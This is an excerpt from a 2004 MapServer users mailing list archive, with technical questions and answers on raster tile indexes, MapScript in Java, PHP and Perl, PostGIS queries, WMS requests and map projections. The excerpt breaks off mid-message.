***Fim da Mensagem / End of Message *** _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Thu May 27 21:29:13 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 27 May 2004 23:29:13 -0500 Subject: [Mapserver-users] GRASS raster support Message-ID: If I remember right EPPL is the last resort and GDAL would have already passed on the file. So turning off EPPL support wouldn't help. Are you sure GDAL can process it (try gdalinfo)? Steve >>> Richard Greenwood 05/27/04 2:50 AM >>> I've run into a glitch displaying GRASS rasters in 4.0.1 and 4.2.0. Mapserver reports an error that the GRASS raster is not a valid EPPL file, so I recompiled --without-eppl but still no joy: drawEPP(): Image handling error. EPPL7 support is not available. How can I avoid drawEPP() and force GDAL to render? Regards, -- Richard Greenwood www.greenwoodmap.com _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Thu May 27 21:44:45 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 27 May 2004 23:44:45 -0500 Subject: [Mapserver-users] Re: Re: [Mapserver-users] raster catalogs with 4.2b3 Message-ID: Easiest way is with an example. the usual way: LAYER NAME 'drgs' STATUS DEFAULT TYPE RASTER TILEINDEX '/Users/sdlime/dev/mndnrdata/drg024idx' TILEITEM 'LOCATION' END and the new way: LAYER NAME 'index' TYPE TILEINDEX DATA '/Users/sdlime/dev/mndnrdata/drg024idx' END LAYER NAME 'drgs' STATUS DEFAULT TYPE RASTER TILEINDEX 'index' TILEITEM 'LOCATION' END Yes, the second way is more verbose. However there are some benefits. The main being that you can apply filters to the index layer (you can also draw them). You can take certain tiles out of play for maintainance or filter on ANY item present in the tile index. Obvious examples include time values or perhaps sensor type. Basically you can create much more complex spatio/temporal/whatever indexes with this scheme. Works for shapefile layers too... Steve >>> 05/25/04 9:14 AM >>> Hi Steve, hi list, i had a build problem. After i recompiled mapserver with '--without-tiff' as Norbert suggested the catalog appears correct. Could you please describe the new way of creating tile indexes a little bit more detailed? Many thanks Nicol Steve Lime schrieb am 25.05.2004, 15:19:24: > Although there was new functionality added to 4.2to allow for a new way > of creating tile indexes in a map file the old method is also completely > supported. Can you confirm that you don't have a build problem as > detailed in another response to your message? Can others verify a > problem? I've not had problems with raster tile setups that I use. > > Steve > > >>> 05/24/04 3:56 AM >>> > > Hi List, > > i did some tests with php mapscript 4.2b3 and found that my raster > catalogs did not work with this mapserver version. > The script which works fine with PHP Mapscript 4.0.2. termined with an > internal server error (Premature end of script headers) when i use > 4.2b3. > The type of the Layer is set to MS_LAYER_RASTER. Do i have to use > MS_LAYER_TILEINDEX now (how?) or what do i have to change to use raster > catalogs with 4.2b3? > > Many thanks Nicol > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From janeks.kamerovskis at silva.lv Thu May 27 23:02:23 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Fri, 28 May 2004 09:02:23 +0300 Subject: [Mapserver-users] selection hilite_ basic question In-Reply-To: Message-ID: I made working map example a bit modified to see my own maps. (on Win2000 and IIS) Then added to query layer definition: TEMPLATE 'C:\bla\path\mapTemplate.html' that was the same template, that I was using for that working exapmle. Then by changing in url parameters &mode=itemquery and adding &qlayer=layername&qitem=atribFieldName&qstring=aquerystrng&mapext=shapes It worked well. Now I just have to add a search control in my map template file brgds Janeks -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of andre shue Sent: Thursday, May 27, 2004 5:58 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] selection hilite_ basic question Hi Steve and List, I am pretty new and unexperienced to the MS, it might be a stupid quest... anyway, I got the demo running, changed some layers, but when selecting a polygon via itemquery I am not sure. I can do an attribut search and also get results via template [area] [name] yet no map. I know I can get a map via querymap, but could not go any further on this. I dont know how to build up an template with a map, including the selected polygon marked and in the centre of the map.... As the where any examples I would be happy. As you have any hints, please remember, I am a Geographer and low level programmer. Thanks a lot. Andreas PS. Another question is, is there a list of the complete template and map commands, I got the feeling there are some more commands, than I could find via the Mapserver homepage. Thanks anyway to the great developers of mapserver ---------------------------------------------------------------------------- ----------------------------- Here is the template and the map.

  Muldentalkreis MS Test

 

Attribut eingeben (Achtung!!! Mapmode = Attributabfrage)
 
 
Map Mode:
! ;
Map Control:
&nb! sp;
  --------------------------------------------------------------------------- ------------------------------------- MAP IMAGETYPE PNG EXTENT 4528581.187561 5713247.167603 4573608.666901 5651344.554810 SIZE 750 750 SHAPEPATH "data" IMAGECOLOR 255 255 255 QUERYMAP SIZE 600 600 STATUS OFF STYLE HILITE COLOR 23 35 24 END WEB TEMPLATE 'test.html' IMAGEPATH 'tmp/' IMAGEURL 'tmp/' END LAYER NAME mtl TYPE POLYGON DATA mtl PROJECTION proj=tmerc lat_0=0.000000000 lon_0=12.000000000 k=1.000000 x_0=4500000.000 y_0=0.000 ellps=bessel units=m no_defs END #line114 STATUS DEFAULT CLASSITEM 'GEMEINDE' LABELITEM 'GEMEINDE' #LABELMINSCALE 80000 CLASS NAME "GEMEINDE" EXPRESSION /./ OUTLINECOLOR 0 0 0 COLOR 255 255 217 LABEL END TEMPLATE "mtl.html" END HEADER "mtl_header.html" FOOTER "mtl_footer.html" END ---------------------------------------------------------------------------- ----------------------- MSN 8 helps ELIMINATE E-MAIL VIRUSES. Get 2 months FREE*. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From unicoletti at prometeo.it Fri May 28 00:36:39 2004 From: unicoletti at prometeo.it (Umberto Nicoletti) Date: 28 May 2004 09:36:39 +0200 Subject: [Mapserver-users] MapScript and Servlet In-Reply-To: <40B51223.9080009@opengeo.com.br> References: <40B51223.9080009@opengeo.com.br> Message-ID: <1085655680.5079.4.camel@friedrich> Try copying mapscript.so in /lib or a patch that ld knows (/etc/ld.so.conf) and then run ldconfig. If even that does not work export LD_LIBRARY_PATH=/path/to/dir/containining/mapscript before starting tomcat. The tomcat-user mailing list has some good threads on this issue: http://marc.theaimsgroup.com/?l=tomcat-user&r=1&w=2 You are running the servlet from Tomcat, aren't you? HTH, Umberto On Wed, 2004-05-26 at 23:54, Uchoa wrote: > Hi, > > I'm working with RH 8, jakarta-tomcat-5.0.19 and MS 4.0.2. I compile > MapScript with Java and generate a mapscript.jar and libmapscript.so > (the last I put in /usr/local/lib). In Eclipse, I import the > mapscript.jar and I try to run the Servlet below to make a test but I > get a error. > > ###### ERROR ###### > > > exception > > javax.servlet.ServletException: Servlet execution threw an exception > > root cause > > java.lang.UnsatisfiedLinkError: new_mapObj > edu.umn.gis.mapscript.mapscriptJNI.new_mapObj(Native Method) > edu.umn.gis.mapscript.mapObj.(mapObj.java:296) > HelloServlet.doGet(HelloServlet.java:39) > javax.servlet.http.HttpServlet.service(HttpServlet.java:743) > javax.servlet.http.HttpServlet.service(HttpServlet.java:856) > ####### SERVLET TO TEST ######## > > import edu.umn.gis.mapscript.*; > import java.io.*; > import javax.servlet.http.*; > import javax.servlet.*; > > public class HelloServlet extends HttpServlet { > public void doGet (HttpServletRequest req, > HttpServletResponse res) > throws ServletException, IOException > { > try > { > System.loadLibrary("mapscript"); > System.err.println("Loaded the Mapscript library"); > } > catch (UnsatisfiedLinkError e) > { > e.printStackTrace(); > } > > // mapscript > mapObj map; > map = new mapObj ("/var/www/html/itasca/demo.map"); > > PrintWriter out = res.getWriter(); > out.println("Hello, Brave new World!"); > out.close(); > } > } > Anyone can help me? > From giuchiel at libero.it Fri May 28 00:52:30 2004 From: giuchiel at libero.it (Giuseppe Chielli) Date: Fri, 28 May 2004 09:52:30 +0200 Subject: [Mapserver-users] Javascript solutions for navigating Message-ID: <00d901c44488$c1602080$1e00a8c0@sit.locale> This is a multi-part message in MIME format. ------=_NextPart_000_00D0_01C44499.7DCB5860 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi! I'm just studying mapserver and I follow the discussion in the list, = but I can't understand if there is a javascript solution already = implemented for viewing and consulting a map (for example, = implementation of tools like zoom in and zoom out with boxes, and so on = for a better graphical interface). I refer to a Mapserver compliant = solution, of course. I apologize for my little knowledge of Mapserver. Thanks for your answers. ------=_NextPart_000_00D0_01C44499.7DCB5860 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi! I'm just studying mapserver and I = follow the=20 discussion in the list, but I can't understand if there is a javascript = solution=20 already implemented for viewing and consulting a map (for example,=20 implementation of tools like zoom in and zoom out with boxes, and so on = for a=20 better graphical interface). I refer to a Mapserver compliant solution, = of=20 course.
I apologize for my little knowledge of=20 Mapserver.
 
Thanks for your = answers.
------=_NextPart_000_00D0_01C44499.7DCB5860-- From giuchiel at libero.it Fri May 28 00:52:49 2004 From: giuchiel at libero.it (Giuseppe Chielli) Date: Fri, 28 May 2004 09:52:49 +0200 Subject: [Mapserver-users] Javascript solutions for navigating Message-ID: <00e701c44488$c77e4a00$1e00a8c0@sit.locale> This is a multi-part message in MIME format. ------=_NextPart_000_00E4_01C44499.88E72030 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi! I'm just studying mapserver and I follow the discussion in the list, = but I can't understand if there is a javascript solution already = implemented for viewing and consulting a map (for example, = implementation of tools like zoom in and zoom out with boxes, and so on = for a better graphical interface). I refer to a Mapserver compliant = solution, of course. I apologize for my little knowledge of Mapserver. Thanks for your answers. ------=_NextPart_000_00E4_01C44499.88E72030 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi! I'm just studying mapserver and I = follow the=20 discussion in the list, but I can't understand if there is a javascript = solution=20 already implemented for viewing and consulting a map (for example,=20 implementation of tools like zoom in and zoom out with boxes, and so on = for a=20 better graphical interface). I refer to a Mapserver compliant solution, = of=20 course.
I apologize for my little knowledge of=20 Mapserver.
 
Thanks for your = answers.
------=_NextPart_000_00E4_01C44499.88E72030-- From kv4k at yahoo.com Fri May 28 00:58:34 2004 From: kv4k at yahoo.com (Ray) Date: Fri, 28 May 2004 07:58:34 -0000 Subject: [Mapserver-users] Re: URL map request yields map sans details at digital earth.gov In-Reply-To: Message-ID: Thank you for the post Jacob. Well I looked closer and the only label I can see on that link was BREMERTON and part of that is obscured. I guess my question more correctly is, "Is my URL correct and the map is just not being served with as much detail as I'd hoped for or do I need to work on the URL some?" If I zoom down to my neighborhood as in the following URL I get nothing at all, no streets or anything of that nature. I must be missing something. http://globe.digitalearth.gov/viz-bin/wmt.cgi? version=1.1.1&request=GetMap&styles=&srs=EPSG:4326&bbox=- 122.693952473895,47.4305002820638,- 122.635718750063,47.4560028103841&width=1010&height=654&format=gif&tra nsparent=true&layers=COASTLINES,NATIONAL,STATE,RIVERS,RAILS,CITY_NAMES ,COUNTY,ROADS,WATERSHEDS,URBAN_EXTENTS --- In mapserver-users at yahoogroups.com, "Delfos, Jacob" wrote: > I get solid polygons, and quite a few lines. I don't get outlined polygons. > Are you labels white, by any chance? > > > From andiehumpy at hotmail.com Fri May 28 01:22:57 2004 From: andiehumpy at hotmail.com (andre shue) Date: Fri, 28 May 2004 08:22:57 +0000 Subject: [Mapserver-users] Zoom and Hilite Problems after Itemquery Message-ID:
Hi Steve and List,
 
I am pretty new to Mapserver, dont know much about programming, at least I got the demo running, changed some layers. etc, worked ok so far... I just have not yet quite understood the thing with itemquery. I want to do an itemquery resulting in a map displaying the selected feature hilited and zoomed.  The resulting map should have all the functions as the original map has (browse and quering etc.). I dont know whether I should do it with querymap or only with the templates resulting in the query.
 
Any examples would be great.
 
Thanks a lot.
 
Andreas Schubert
GIS COORDINATOR
Grimma
Germany


Add photos to your e-mail with MSN 8. Get 2 months FREE*. From jacob.delfos at maunsell.com Fri May 28 01:27:25 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Fri, 28 May 2004 18:27:25 +1000 Subject: [Mapserver-users] Re: URL map request yields map sans details at digital earth.gov Message-ID: Maybe you don't get enough labels because your buffer for the labels is too big (conflict detection is being too careful). Your URL must be correct, in the sense that it works (duh....). But how would working on your URL change the amount of details? That's something you'd have to fix in your mapfile. I also get nothing on that URL, which suggests either some of the parameters in your URL are incorrect, or it has to do with a layer disappearing below a certain scale (check your minscale and maxscale) or with a wrongly configured layer appearing below that scale. Jacob -----Original Message----- From: Ray [mailto:kv4k at yahoo.com] Sent: Friday, 28 May 2004 3:59 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Re: URL map request yields map sans details at digital earth.gov Thank you for the post Jacob. Well I looked closer and the only label I can see on that link was BREMERTON and part of that is obscured. I guess my question more correctly is, "Is my URL correct and the map is just not being served with as much detail as I'd hoped for or do I need to work on the URL some?" If I zoom down to my neighborhood as in the following URL I get nothing at all, no streets or anything of that nature. I must be missing something. http://globe.digitalearth.gov/viz-bin/wmt.cgi? version=1.1.1&request=GetMap&styles=&srs=EPSG:4326&bbox=- 122.693952473895,47.4305002820638,- 122.635718750063,47.4560028103841&width=1010&height=654&format=gif&tra nsparent=true&layers=COASTLINES,NATIONAL,STATE,RIVERS,RAILS,CITY_NAMES ,COUNTY,ROADS,WATERSHEDS,URBAN_EXTENTS --- In mapserver-users at yahoogroups.com, "Delfos, Jacob" wrote: > I get solid polygons, and quite a few lines. I don't get outlined polygons. > Are you labels white, by any chance? > > > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From hrz at geodata.soton.ac.uk Fri May 28 01:30:41 2004 From: hrz at geodata.soton.ac.uk (Homme Zwaagstra) Date: Fri, 28 May 2004 09:30:41 +0100 Subject: [Mapserver-users] How do I create a georeferenced tiff file... In-Reply-To: <64FC1B3E23F04C4E931EE3F6D809FF303ABF51@DIV-MX02.divestco> References: <64FC1B3E23F04C4E931EE3F6D809FF303ABF51@DIV-MX02.divestco> Message-ID: <20040528083041.GA6716@truffles.geodata.soton.ac.uk> On Thu, May 27, 2004 at 01:34:34PM -0600, Zamil Murji wrote: > Hello list, > > I've got a postgis table with approximately 500000 rows. I would like to extract that data at various scales into georeferenced tiff images. How do I do this? What programs can I use? > Not knowing the details of your data structure I can only give you an overview of how I would approach the problem. I can think of two options: 1. write a program to dump the database data into a raster format that can then be converted to geotiff using gdal_translate. An ASCII raster format such as the ESRI grid format would probably be the easiest to use. 2. write a program that accesses the database and builds the geotiff on the fly using the GDAL API. Both are tasks that are most easily solved by scripting languages such as perl or python. If going with option 2 I would consider the excellent python interface to GDAL. Hope that helps, Homme Zwaagstra From hrz at geodata.soton.ac.uk Fri May 28 01:48:35 2004 From: hrz at geodata.soton.ac.uk (Homme Zwaagstra) Date: Fri, 28 May 2004 09:48:35 +0100 Subject: [Mapserver-users] SQL Data In-Reply-To: <200405271438.51102.vaiod@berloy.com> References: <200405271438.51102.vaiod@berloy.com> Message-ID: <20040528084833.GB6716@truffles.geodata.soton.ac.uk> On Thu, May 27, 2004 at 02:38:51PM -0700, Eric Katherman wrote: > Okay... I have the basics of working with MS and PHP down to the point I can > turn layers on and off as well as zoom in and out. I now need to know how I > can take data from the dbf file and based on it's value display it > differently then other records in the same dbf file... It sounds like you're trying to filter your data. Rather than try to do this on the data side in php, I would use mapserver's inbuilt filtering functions which I've found to be powerful enough for most purposes. > Scenario: > > I have a table that draws centerlines of streets and contains the street > names. I can get the street names to display using labels and such but would > like to control the display of the classification of streets. (e.g. major > streets are B, minor are C, smaller then that are D etc...) How can I > display the B streets when I am zoomed out closer to the extents and then > display C and D when I zoom in? You can avoid any scripting by specifying each street type as a separate layer in the mapfile and using the MINSCALE / MAXSCALE attributes to control the visibility. If you wanted to keep everything in one layer, you could specify separate classes for each street type and then use mapscript to dynamically alter the layer's FILTER attribute at different scales to only select specific data. > Is there a way to dump the data from this dbf file into a temporary table in > MySQL and then query the DB to get that data back? I don't know of any off the shelf tool to do this but I imagine you could script this yourself; I know there are DBF and MySQL modules for perl and python for instance. Kind regards, Homme Zwaagstra From joukje.de.haan at aris.nl Fri May 28 02:42:46 2004 From: joukje.de.haan at aris.nl (Joukje de Haan) Date: Fri, 28 May 2004 11:42:46 +0200 Subject: [Mapserver-users] querymap object in php/mapscript In-Reply-To: <40B60570.2060006@dmsolutions.ca> References: <40B5E544.1010403@aris.nl> <40B60570.2060006@dmsolutions.ca> Message-ID: <40B70996.4050008@aris.nl> Daniel Morissette wrote: > Joukje de Haan wrote: > >> Hello, >> >> I'd like to change the size of the querymap object using php. I can't >> find any info on the querymap object in the class reference. So I >> tried something like this: >> >> $qmap = $map->querymap; >> $qmap->width = 200; >> $qmap->height = 150; >> >> It doesn't give me any errors, but it doesn't have any effect either ;-) >> $map->drawQuery still returns an image of the size as it is written in >> the mapfile. Am I missing something? >> > > You have to use the set() method to set any class member variables in > PHP MapScript: > > $qmap->set("width", 200); > $qmap->set("height", 150); > > Daniel Sorry, forgot to tell that I tried that too. It gives the following error: Fatal error: Call to a member function on a non-object The non-object seems to be $qmap If $qmap isn't an object, I would think that $map->querymap gives an error (something like "querymap is not a member of the $map object). Any further ideas? Joukje From sp_ml at sourcepole.com Fri May 28 02:57:31 2004 From: sp_ml at sourcepole.com (Markus Schnider) Date: Fri, 28 May 2004 11:57:31 +0200 Subject: [Mapserver-users] postgis querybyattributes with index Message-ID: <200405281157.31394.sp_ml@sourcepole.com> Hi all Is it possible to execute querybyattributes on a table in postgresql with an index to be faster. We have made an index on the column 'full_name' in a table (places). The select statement select X(wkb_geometry), Y(wkb_geometry) from places where lower(full_name) = 'tokyo' is very fast (in postgresql directly). Now I try the same with an querybyattributes: qstring: lower(full_name) = 'tokyo' qitem: 'lower(full_name)' or 'full_name' It gives no result in the webapplication, perhaps it is too slow. How can I search with querybyattributes on an indexed column (indexed column != oid)? Thanks Markus Schnider Sourcepole AG From schick at sdac.hannover.bgr.de Fri May 28 02:54:04 2004 From: schick at sdac.hannover.bgr.de (Agneta Schick) Date: Fri, 28 May 2004 11:54:04 +0200 (MEST) Subject: [Mapserver-users] Can't locate object method "TIEHASH" Message-ID: <200405280954.i4S9s4IA025757@b3sn28.hannover.bgr.de> Hello mapserver-users, I've searched the mail archive and found 2 messages on this topic, both were, however, unanswered. So I'll try again... Platform: MapServer 4.0.1 solaris 9 Perl 5.8.3 I want to test an application querying shape files. My perl mapscript code ... $layer->queryByPoint($tmp_map,$pnt,$mapscript::MS_SINGLE,1000); my $res = $layer->getResult(0); $layer->open(); my $shape=new mapscript::shapeObj($layer->{type}); my $shape_index = $layer->getShape($shape,-1,$res->{shapeindex}); my $table = mapscript::msDBFOpen("/space/b3sn13/webdb/htdocs/ermos/data/usgs.dbf","r+"); .... is terminated with Can't locate object method "TIEHASH" via package "_DBFHandle". Is this a mapscript problem or is something missing in the installation? (I tried the same perl script on solaris 8, mapserver 3.6.5, perl 5.6 and got the same error). Thanks, Agneta Schick ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Agneta Schick Bundesanstalt fuer Geowissenschaften und Rohstoffe Federal Institute for Geosciences and Natural Resources Stilleweg 2 D- 30655 Hannover Tel.: +49 511 643 3136 GERMANY FAX.: +49 511 643 3663 schick at sdac.hannover.bgr.de http://www.seismologie.bgr.de ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From bartvde at xs4all.nl Fri May 28 03:22:45 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Fri, 28 May 2004 12:22:45 +0200 (CEST) Subject: [Mapserver-users] querymap object in php/mapscript In-Reply-To: <40B70996.4050008@aris.nl> References: <40B5E544.1010403@aris.nl> <40B60570.2060006@dmsolutions.ca> <40B70996.4050008@aris.nl> Message-ID: <7696.212.238.227.182.1085739765.squirrel@webmail.xs4all.nl> Hi, according to the following bug there is not yet a QueryMapObj in PHP/Mapscript: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=535 Best regards, Bart > Daniel Morissette wrote: >> Joukje de Haan wrote: >> >>> Hello, >>> >>> I'd like to change the size of the querymap object using php. I can't >>> find any info on the querymap object in the class reference. So I >>> tried something like this: >>> >>> $qmap = $map->querymap; >>> $qmap->width = 200; >>> $qmap->height = 150; >>> >>> It doesn't give me any errors, but it doesn't have any effect either >>> ;-) >>> $map->drawQuery still returns an image of the size as it is written in >>> the mapfile. Am I missing something? >>> >> >> You have to use the set() method to set any class member variables in >> PHP MapScript: >> >> $qmap->set("width", 200); >> $qmap->set("height", 150); >> >> Daniel > > Sorry, forgot to tell that I tried that too. It gives the following error: > > Fatal error: Call to a member function on a non-object > > The non-object seems to be $qmap > > If $qmap isn't an object, I would think that $map->querymap gives an error > (something like "querymap is not a member of the $map object). > > Any further ideas? > > Joukje > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From woodbri at swoodbridge.com Fri May 28 04:16:37 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Fri, 28 May 2004 07:16:37 -0400 Subject: [Mapserver-users] XML Mapfile Message-ID: <40B71F95.9010305@swoodbridge.com> Hi all, There is a pretty extensive discussion on XML mapfiles in the archives, did anything come of this? Did anyone build any conversion tools? Thanks, -Steve W. From selkiesdad at twcny.rr.com Fri May 28 04:52:52 2004 From: selkiesdad at twcny.rr.com (Andrew) Date: Fri, 28 May 2004 07:52:52 -0400 Subject: [Mapserver-users] Re: ogr broken perhaps? Problems with on-the-fly and other projections. References: <40B4CBB5.50904@twcny.rr.com> <40B5BDEB.9070302@twcny.rr.com> Message-ID: <40B72814.4080907@twcny.rr.com> One more try : I know there is an answer to this, and I am certain it has been encountered before unless it is simply a subtle problem with my compile of ogr. The ogr2ogr utility and, I assume, the mapserve cgi, project my state plane either incorrectly or with some transformation of the origin. I don't know how this might be characterized but the shifted coordinates are as reported (and quoted below). The associated eastings are :UTM 500000m, STP 150000 feet. I assume the problem is related to the use of decimal degrees in the UTM file and the false eastings and northings of both files or the fact that the transformed STP file reports units as meters and not feet, but I don't know how to test this. The original shape files for the STP projection should be in feet, but the world file and embedded georeferenceing info in the tifff don't list the projection type name or northings/eastings, though they are included in the PROJECTION section of the mapfile. I could try to use the proj.4 commands to project the locations in each dbf file and then use the results as a replacement shapefile, but I prefer to learn why the on-the-fly and manual transforms differ from the expected region. Any help would be appreciated, since my project requires these datasets and the use of (to-be-projected) lat/lon locations from other research. quote from previous post: The coordinate shifts in the projected shape file after using ogr2ogr compared to the correct region settings are: original lon/lat (-75.860047, 44.050400) - (-74.525683, 45.015850) ---> ( add this: decimal degrees in a meter-referenced UTM projection) converted state plane (-406072.543743, -4299527.573525) - (-406071.208006, -4229526.607082) ---> (add this: reports as meters in what should be foot units) Ref map base state plane (312000.0, 2092000.0) - (390000.0, 2168000.0) ---> (add this: reports no units, assumed feet due to documentation for STP NY east zone.) lat lon comes from a UTM Zone 18N NAD83 GRS80 system (epsg:26918) state plane is NY East zone (epsg:32115) From lfilak at medinaco.org Fri May 28 05:12:07 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 28 May 2004 08:12:07 -0400 Subject: [Mapserver-users] Can't locate object method "TIEHASH" Message-ID: <20040528121146.1BC071A659B@mail.medinaco.org> It is best to use Perl's XBase module for querying the DBF files. I'm pretty sure that isn't even documented on purpose - I'll have to check the doc. Lowell The following message was sent by Agneta Schick on Fri, 28 May 2004 11:54:04 +0200 (MEST). > Hello mapserver-users, > > I've searched the mail archive and found 2 messages on this topic, > both were, however, unanswered. > > So I'll try again... > > Platform: > MapServer 4.0.1 > solaris 9 > Perl 5.8.3 > > I want to test an application querying shape files. > My perl mapscript code > ... > $layer->queryByPoint($tmp_map,$pnt,$mapscript::MS_SINGLE,1000); > my $res = $layer->getResult(0); > $layer->open(); > my $shape=new mapscript::shapeObj($layer->{type}); > my $shape_index = $layer->getShape($shape,-1,$res->{shapeindex}); > my $table = > mapscript::msDBFOpen("/space/b3sn13/webdb/htdocs/ermos/data/usgs.dbf","r+"); > .... > is terminated with > Can't locate object method "TIEHASH" via package "_DBFHandle". > > Is this a mapscript problem or is something missing in the installation? > > (I tried the same perl script on solaris 8, mapserver 3.6.5, perl 5.6 > and got the same error). > > Thanks, > Agneta Schick > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Agneta Schick > > Bundesanstalt fuer Geowissenschaften und Rohstoffe > Federal Institute for Geosciences and Natural Resources > Stilleweg 2 > D- 30655 Hannover Tel.: +49 511 643 3136 > GERMANY FAX.: +49 511 643 3663 > > schick at sdac.hannover.bgr.de http://www.seismologie.bgr.de > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From peter at retep.org.uk Fri May 28 05:22:43 2004 From: peter at retep.org.uk (Peter Mount) Date: Fri, 28 May 2004 13:22:43 +0100 Subject: RES: [Mapserver-users] Map interpolation In-Reply-To: References: Message-ID: <40B72F13.1050801@retep.org.uk> Tyler Mitchell wrote: > You may also want to check out GMT (global mapping tools) - there seems to > be talk on there about building contours which may help you. I don't have > the web site handy though. If it's the one I'm thinking of: Generic Mapping Tools: http://gmt.soest.hawaii.edu/ Tip: If you use gentoo, then the following will install it: emerge app-sci/gmt Peter -- Peter Mount peter at retep.org.uk http://retep.org/ http://retep.net/ Tel: +44 (0) 1622 749439 Fax: +44 (0) 8701 361620 Mobile: +44 (0) 7838 191423 IM-MSN: retep207 at hotmail.com From lfilak at medinaco.org Fri May 28 05:20:30 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 28 May 2004 08:20:30 -0400 Subject: [Mapserver-users] Javascript solutions for navigating Message-ID: <20040528122009.22CE11A659B@mail.medinaco.org> Take a look at "Advanced MapServer User Interfaces" here: http://mapserver.gis.umn.edu/mum/index2003.html HTH Lowell The following message was sent by "Giuseppe Chielli" on Fri, 28 May 2004 09:52:49 +0200. > Hi! I'm just studying mapserver and I follow the discussion in the list, > but I can't understand if there is a javascript solution already > implemented for viewing and consulting a map (for example, > implementation of tools like zoom in and zoom out with boxes, and so on > for a better graphical interface). I refer to a Mapserver compliant > solution, of course. > I apologize for my little knowledge of Mapserver. > > Thanks for your answers. From eric at gomoos.org Fri May 28 05:38:02 2004 From: eric at gomoos.org (Eric Bridger) Date: 28 May 2004 08:38:02 -0400 Subject: [Mapserver-users] Can't locate object method "TIEHASH" In-Reply-To: <200405280954.i4S9s4IA025757@b3sn28.hannover.bgr.de> References: <200405280954.i4S9s4IA025757@b3sn28.hannover.bgr.de> Message-ID: <1085747887.1591.4.camel@ubet.gomoos.org> On Fri, 2004-05-28 at 05:54, Agneta Schick wrote: > Hello mapserver-users, > > I've searched the mail archive and found 2 messages on this topic, > both were, however, unanswered. > > So I'll try again... > > Platform: > MapServer 4.0.1 > solaris 9 > Perl 5.8.3 > > I want to test an application querying shape files. > My perl mapscript code > ... > $layer->queryByPoint($tmp_map,$pnt,$mapscript::MS_SINGLE,1000); > my $res = $layer->getResult(0); > $layer->open(); > my $shape=new mapscript::shapeObj($layer->{type}); > my $shape_index = $layer->getShape($shape,-1,$res->{shapeindex}); > my $table = > mapscript::msDBFOpen("/space/b3sn13/webdb/htdocs/ermos/data/usgs.dbf","r+"); > .... > is terminated with > Can't locate object method "TIEHASH" via package "_DBFHandle". > > Is this a mapscript problem or is something missing in the installation? > > (I tried the same perl script on solaris 8, mapserver 3.6.5, perl 5.6 > and got the same error). This sounds familiar to me but I can't remember the details. The solution is to not use mapscript's DBF functions. I've never gotten them to work. Use some other dbase module. I use XBase.pm http://search.cpan.org/~janpaz/DBD-XBase-0.241/lib/XBase.pm to do all dbf access of shapefiles. Eric From j.l.h.hartmann at uva.nl Fri May 28 06:09:57 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Fri, 28 May 2004 15:09:57 +0200 Subject: [Mapserver-users] nested tiles Message-ID: <40B73A25.5040204@uva.nl> Hi, Is it possible to have nested tile-indexes for raster applications, i.e. one master index which refers to several sub-indexes, which in their turn refer to the underlying raster files? I think I have read something like this in the list, but I can't find it. I'm trying to make a design for displaying 17000 historical cadastral maps, each 4000*4000 pixels, covering the whole of the Netherlands. At a later stage I would like to do the same for the original 10000*10000 scans. Any other suggestions on how to organise this would be very welcome too. Jan From lindsay at lcblanton.com Fri May 28 06:29:20 2004 From: lindsay at lcblanton.com (Lindsay C. Blanton) Date: Fri, 28 May 2004 08:29:20 -0500 Subject: [Mapserver-users] Plotting Multiple Lat/Long points and setting extents Message-ID: <5D91E1B9C012CF45A170862C86D9FBC709DDCB@srv1.lcblanton-int.local> This is a multi-part message in MIME format. ------_=_NextPart_001_01C444B7.C89DCB53 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Everyone, Say for instance I have a list of Lat/Long points that I want to plot on a map that has existing SHP file layers. I'd like to plot each of these points, and have the extent of the map set such that all of the points are displayed on the map, but set a 